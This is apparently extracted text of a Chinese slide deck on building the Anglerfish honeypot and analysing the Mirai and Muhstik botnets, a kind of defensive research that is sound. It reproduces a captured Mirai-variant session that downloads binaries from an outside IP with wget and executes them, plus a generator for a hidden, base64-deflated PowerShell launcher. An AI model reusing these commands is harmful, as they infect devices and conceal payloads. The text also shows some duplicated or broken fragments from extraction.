1、通过通过Anglerfish蜜罐发蜜罐发现现未知未知的的恶意恶意软软件威件威胁胁Anglerfish蜜罐运行状况支持TCP/UDP全端口监控,已经模拟telnet,ssh,http等30种应用协议,50+IoT设备和服务器漏洞,支持对应用协议Fuzz testing等。通过Anglerfish蜜罐捕获大量Botnet并在360Netlab Blog中披露,包括Mirai,http81,Mykings,DDG,Hajime,TheMoon,IoT_reaper,Satori,Muhstik,HNS等,其中http81,IoT_reaper,Satori属于首次发现。捕获2个0day,分别是Hua
2、wei HG532 RCE(被Satori Botnet首次利用,CVE-2017-17215)和Gpon Home Routers RCE(被TheMoon Botnet首次利用,暂无CVE编号)。目录 我对蜜罐的理解和需求 如何去设计开发Anglerfish蜜罐程序 在蜜罐程序设计开发中攻防对抗的案例 实例分析Muhstik Botnet 我对蜜罐的未来展望一.我对蜜罐的理解和需求 蜜罐协议模拟是基础,蜜罐数据分析是核心,捕获恶意样本是其目的 能够在TCP/UDP全端口捕获未知的恶意扫描软件威胁 能够模拟影响面广泛的应用协议和漏洞,优先模拟IoT,服务器等漏洞场景 蜜罐程序方便协议扩展,蜜
3、罐数据结构方便数据分析SYN ScanclientserverPort ClosedclientserverPort Open以SYN端口扫描为例,当蜜罐程序未开放相应端口时,只能接收到扫描程序的SYN包。First Dataclientserverclientserverclient send data firstserver send data first当蜜罐开放相应端口时,如果不能和扫描程序完成交互,蜜罐程序只能捕获到来自扫描程序的 第一个包甚至没有数据交互。TCP ConnectionHoneypot(server)(active open)SYN_SENTESTABLISHEDES
4、TABLISHEDFIN_WAIT_1SYN_RCVDTIME_WAITCLOSEDFIN_WAIT_2writeread(blocks)read returnswrite read(blocks)read returnssocket,bind,listen LISTEN(passive open)accept(blocks)Scanner(client)socketconnect(blocks)Interactive Data FlowSimulator蜜罐程序开发的基础工作就是模拟协议CLOSE_WAITLAST_ACK二.如何去设计开发Anglerfish蜜罐 借鉴前人的经验 Angle
5、rfish蜜罐程序框架 模拟应用协议/漏洞 Fuzz testing Anglerfish蜜罐数据结构借鉴前人的经验Blackhole是Github上的一个开源项目,我的灵感来源于此,并在此基础上开始设计和开发在模拟协议和漏洞过程中,吸取了Kippo,Dionaea等开源项目经验,积极使用现有的应用协议库使用Python语言开发,基于Gevent模拟Server端应用协议REFERENCE1https:/ rmi,mssql,docker,oreintdb,mysql,ethman,cisco smi,ethereum,redis,weblogic,jenkins,activemq_web,m
6、ctp,apache couchdb,spark,openfire,elastic search,memcache,mongodb,hadoop_hdfs,hadoop_yarn,netis等;目前已经模拟的漏洞/设备(只展示了部分)每个每个RCE漏洞都会被漏洞都会被Botnet发挥得淋漓尽致!发挥得淋漓尽致!Docker shell在蜜罐中经常会遇到Linux Shell命令,我这里推荐使用Docker容器去执行Shell命令,并返回结果。Docker shellprint+Error in docker_shell:+str(e)return error#force to remove c
7、ontainertry:container.remove(force=True)except Exception as e:pass#!/usr/bin/env python#-*-coding:utf-8-*-#Github/Twitter:zom3y3#Email:import dockerdef docker_shell(command):docker shellresult=if command.strip()=:return result else:#client=docker.DockerClient(base_url=unix:/var/run/docker.sock)clien
8、t=docker.from_env()command=/bin/sh-c +command+try:container=client.containers.run(busybox,command,network_disabled=ENABLE_NETWORK,detach=True,auto_remove=True,remove=True)result=container.logs()except Exception as e:比如在模拟telnet蜜罐时,结合telnetsrvlib+docker_shell 就可以很快速地实现高交互telnet蜜罐。REFERENCE1https:/blo
9、g.findmalware.org/2017/03/30/the-telnet-honeypot-research-review-and-suggestions-for-application/2https:/ result通过RSS Feed关注最新安全资讯通过Slack API创建RSS Feed bot,实时推送exploit-db,securiteam,twitter等安全媒体发布的安全资讯,关注最新IoT,Botnet,RCE漏洞等信息。Fuzz testing响应任意端口的TCP SYN Packet根据协议特征,永远返回正确响应(http,mysql,mssql,redis,me
10、mcache等)返回预定义或者随机的Payload特征库集合clientserveralways answer syn flagclientserveralways reply true flagPONGPING遇到的问题 如何判断/提升Fuzz testing成功率 只能对已知的应用协议进行Fuzz testing Fuzz testing不成功导致会话停止Anglerfish蜜罐数据结构root admin enable shell sh/bin/busybox iDdosYou/bin/busybox ps;/bin/busybox iDdosYou/bin/busybox cat/pr
11、oc/mounts;/bin/busybox iDdosYou/bin/busybox echo-e x6bx61x6dx69/proc /proc/.nippon;/bin/busybox cat/proc/.nippon;/bin/busybox rm/proc/.nippon/bin/busybox echo-e x6bx61x6dx69/sys /sys/.nippon;/bin/busybox cat/sys/.nippon;/bin/busybox rm/sys/.nippon/bin/busybox echo-e x6bx61x6dx69/tmp /tmp/.nippon;/bi
12、n/busybox cat/tmp/.nippon;/bin/busybox rm/tmp/.nippon/bin/busybox echo-e x6bx61x6dx69/overlay /overlay/.nippon;/bin/busybox cat/overlay/.nippon;/bin/busybox rm/overlay/.nippon/bin/busybox echo-e x6bx61x6dx69 /.nippon;/bin/busybox cat/.nippon;/bin/busybox rm/.nippon/bin/busybox echo-e x6bx61x6dx69/de
13、v /dev/.nippon;/bin/busybox cat/dev/.nippon;/bin/busybox rm/dev/.nippon/bin/busybox echo-e x6bx61x6dx69/dev/pts /dev/pts/.nippon;/bin/busybox cat/dev/pts/.nippon;/bin/busybox rm/dev/pts/.nippon/bin/busybox echo-e x6bx61x6dx69/sys/kernel/debug /sys/kernel/debug/.nippon;/bin/busybox cat/sys/kernel/deb
14、ug/.nippon;/bin/busybox rm/sys/kernel/debug/.nippon/bin/busybox echo-e x6bx61x6dx69/dev /dev/.nippon;/bin/busybox cat/dev/.nippon;/bin/busybox rm/dev/.nippon/bin/busybox iDdosYoucd/bin/busybox cp/bin/echo ccAD;ccAD;/bin/busybox chmod 777 ccAD;/bin/busybox iDdosYou/bin/busybox cat/bin/echo/bin/busybo
15、x iDdosYoucat/proc/cpuinfo;/bin/busybox iDdosYou/bin/busybox wget;/bin/busybox tftp;/bin/busybox iDdosYou/bin/busybox wget http:/172.81.134.239:80/AB4g5/Josho.arm-O-ccAD;/bin/busybox chmod 777 ccAD;/bin/busybox iDdosYou./ccAD selfrep.wget;/bin/busybox AndSm0keDoinks/bin/busybox wget;/bin/busybox tft
16、p;/bin/busybox iDdosYou/bin/busybox wget http:/172.81.134.239:80/AB4g5/Josho.arm5-O-ccAD;/bin/busybox chmod 777 ccAD;/bin/busybox iDdosYou./ccAD selfrep.wget;/bin/busybox AndSm0keDoinks rm-rf aupnpb;ccAD;/bin/busybox iDdosYou这是一个Mirai变种发送给Anglerfish蜜罐的攻击数据,我把它这些数据定义为Payload,把这个会话 过程赋予独立的session id。A
17、nglerfish蜜罐数据结构把Mirai变种的整个攻击会话转换成3个表保存到数据库中,分别是sessions,downloads,payloads,另外下载到的恶意样本以文件形式保存。sessions主要记录网络连接的会话ID,会话时间,网络五元组等 downloads主要记录样本下载信息,包括会话ID,样本URL,样本md5等 payloads主要记录payload数据信息,包括会话ID,payload,payload_md5,payload_ssdeep等sessiontimestampsrc_ipsrc_portdst_ipdst_portprotocol0033536614a78c1
18、9935bce9e6ec5c6992018-07-04 21:31:16172.81.134.23933714x.x.x.x23TCPsessionurlmd5sha256file_typesucess0033536614a78c19935bce9e6ec5c699http:/172.81.134.239:80/AB4g5/Josho.mips1a8fb9f09f9ELF ped1sessionpayload_md5payload_datapayload_ssdeep0033536614a78c19935bce9e6ec5c6995921cbc07469f380c69c6ebc70c1bcc6
19、BCJ3AQSc.AAA=48:Xy/7r4F.kBsUJ三.在蜜罐设计开发中攻防对抗的案例 恶意样本的下载方式 扫描程序payload数据编码/压缩/加密 扫描程序中的漏洞检测机制 扫描程序中的蜜罐检测机制恶意样本的下载方式 http/https协议 ftp协议 sftp协议 nc协议 以echo 16进制分段保存文件 http下载时需指定User-Agent/Query等 通过Shell/VBScript/JScript等脚本语言变量赋值下载URLPayload数据编码/压缩/加密def generate(self):encoded=helpers.deflate(self.psRaw()
20、payloadCode=echo offnpayloadCode+=if%PROCESSOR_ARCHITECTURE%=x86(payloadCode+=powershell.exe-NoP-NonI-W Hidden-Exec Bypass-Command Invoke-Expression$(New-Object IO.StreamReader($(New-Object IO.Compression.DeflateStream($(New-Object IO.MemoryStream(,$(Convert:FromBase64String(%s),IO.Compression.Compr
21、essionMode:Decompress),Text.Encoding:ASCII).ReadToEnd();%(encoded)payloadCode+=)else(payloadCode+=%WinDir%syswow64windowspowershellv1.0powershell.exe-NoP-NonI-W Hidden-Exec Bypass-Command Invoke-Expression$(New-Object IO.StreamReader($(New-Object IO.Compression.DeflateStream($(New-Object IO.MemorySt
22、ream (,$(Convert:FromBase64String(%s),IO.Compression.CompressionMode:Decompress),Text.Encoding:ASCII).ReadToEnd();)%(encoded)return payloadCodedecompressed=zlib.decompress(base64.b64decode(payload),-15)扫描程序中的漏洞检测机制扫描程序在检测漏洞的过程中往往会判断返回的数据中是否包含特定的字符串,来判断这个设备 是否存在漏洞。根据这个特征,利用Fuzz testing技巧可以帮助蜜罐程序与扫描程序
23、完成协议交 互。扫描程序中的蜜罐检测机制mirai loader代码中通过读取echo binary文件中的elf结构来判断目标系统cpu架构类型,在mirai 爆发初期,传统蜜罐都没有模拟“/bin/busybox cat/bin/echo”这条命令,导致几乎没有蜜罐能捕 获mirai样本。四.实例分析Muhstik Botnet 介绍Muhstik Botnet扫描行为的基本情况 介绍如何部署Drupal和Gpon蜜罐 介绍payload聚类分析和Botnet扫描检测算法Muhstik Botnet扫描行为分析从4月14号开始,360Netlab监控到Muhstik Botnet集成两个最
24、新公布的漏洞 Drupal RCE和GponRCE来进行蠕虫式传播。根据这两个漏洞事件,我们写了两篇文章僵尸网络 Muhstik 正在积极利用 Drupal 漏洞 CVE-2018-7600 蠕虫式传播和GPON 漏洞的在野利用(一)Muhstik 僵尸网络来披露 Muhstik Botnet。截至目前,我们共发现Muhstik Botnet有11种漏洞检测模块,分别是:Drupal,Gpon routers,Weblogic,Wordpress,Webdav,DasanNetwork Solution,Webuzo,ClipBucket,phpMyadmin,Jboss,DD-WRT。Muh
25、stik Botnet扫描行为分析Muhstik Botnet感染情况通过与安全社区的合作,我们可以观察到Muhstik Botnet的分布情况。其中值得一提的是Gpon路由器 的Bot 99%都是来自于Mexico/MX,并且感染端口都是在8080。这是因为Muhstik Botnet利用的PoC只 能在这个版本的固件中有效地工作。我们也联合安全社区关闭了Muhstik Botnet部分C2服务器,但是与 Muhstik Botnet之间的攻防对抗还没有结束。以下是Muhstik Botnet感染量统计:Gpon24000+Webdav5000+phpMyAdmin4000+Wordpres
26、s3000+Webuzo70+REFERENCE1https:/ server蜜罐,后续只需要增加相应的静态资源文件即可模拟 任意web程序。在模拟Drupal蜜罐时,可以根据Drupal 程序特性在HTTP Header中加入Drupal特征。(此处仅演示其中一个技巧)部署Gpon蜜罐示例在部署Gpon蜜罐时,将404页面返回返回上述Gpon特征,并且将web server随机变更为 GoAhead-Webs。(此处仅演示其中一个技巧)当访问http server上一个不存在的资源文件的时候,正常的http server会返回HTTP 404 状态码。在http server协议模拟中,利用
27、Fuzz testing的技巧在http 404页面设置一些预定 义的特征或者根据http请求返回相应的特征,并且修改成HTTP 200状态码。Gpon RCE Payload聚类分析在对5月22号Gpon RCE Payload数据利用ssdc算法实现聚类后,再通过统计计算每个Group和ssdeep所占百分比,利用Highcharts生成Donut Chart。Gpon RCE Payload聚类分析在对Gpon RCE Payload数据聚类后,再通过计算Group,ssdeep和session的关系,利用D3.js生成Force Directed Graph(力导向图)。Gpon RC
28、E Payload聚类分析更多应用场景:通过对比两组ssdeep聚类结果发现新增的Group/ssdeep,再通过分析payload内容可以检测出新的Payload变种。REFERENCE1https:/ uniq_srcip和session的线性关系,生成线性相关系数,这个系数值越大就越符合Botnet port特征。Botnet扫描检测算法2当Botnet扫描检测算法检测到异常时,通过Slack Botnet Alarm 发送告警信息。在一个时间窗口内,计算每个port中payload md5的uniq_srcip和session的线性关系,生成线性相关系数,这个系数值越大这个payload md5就越符合Botnet payload特征。五.我对蜜罐的未来展望 实时结合互联网安全漏洞,捕获更多未知的恶意软件威胁 以Fuzz testing的思想去与扫描软件智能交互 希望有更多的人投入到互联网扫描数据安全研究工作中谢 谢!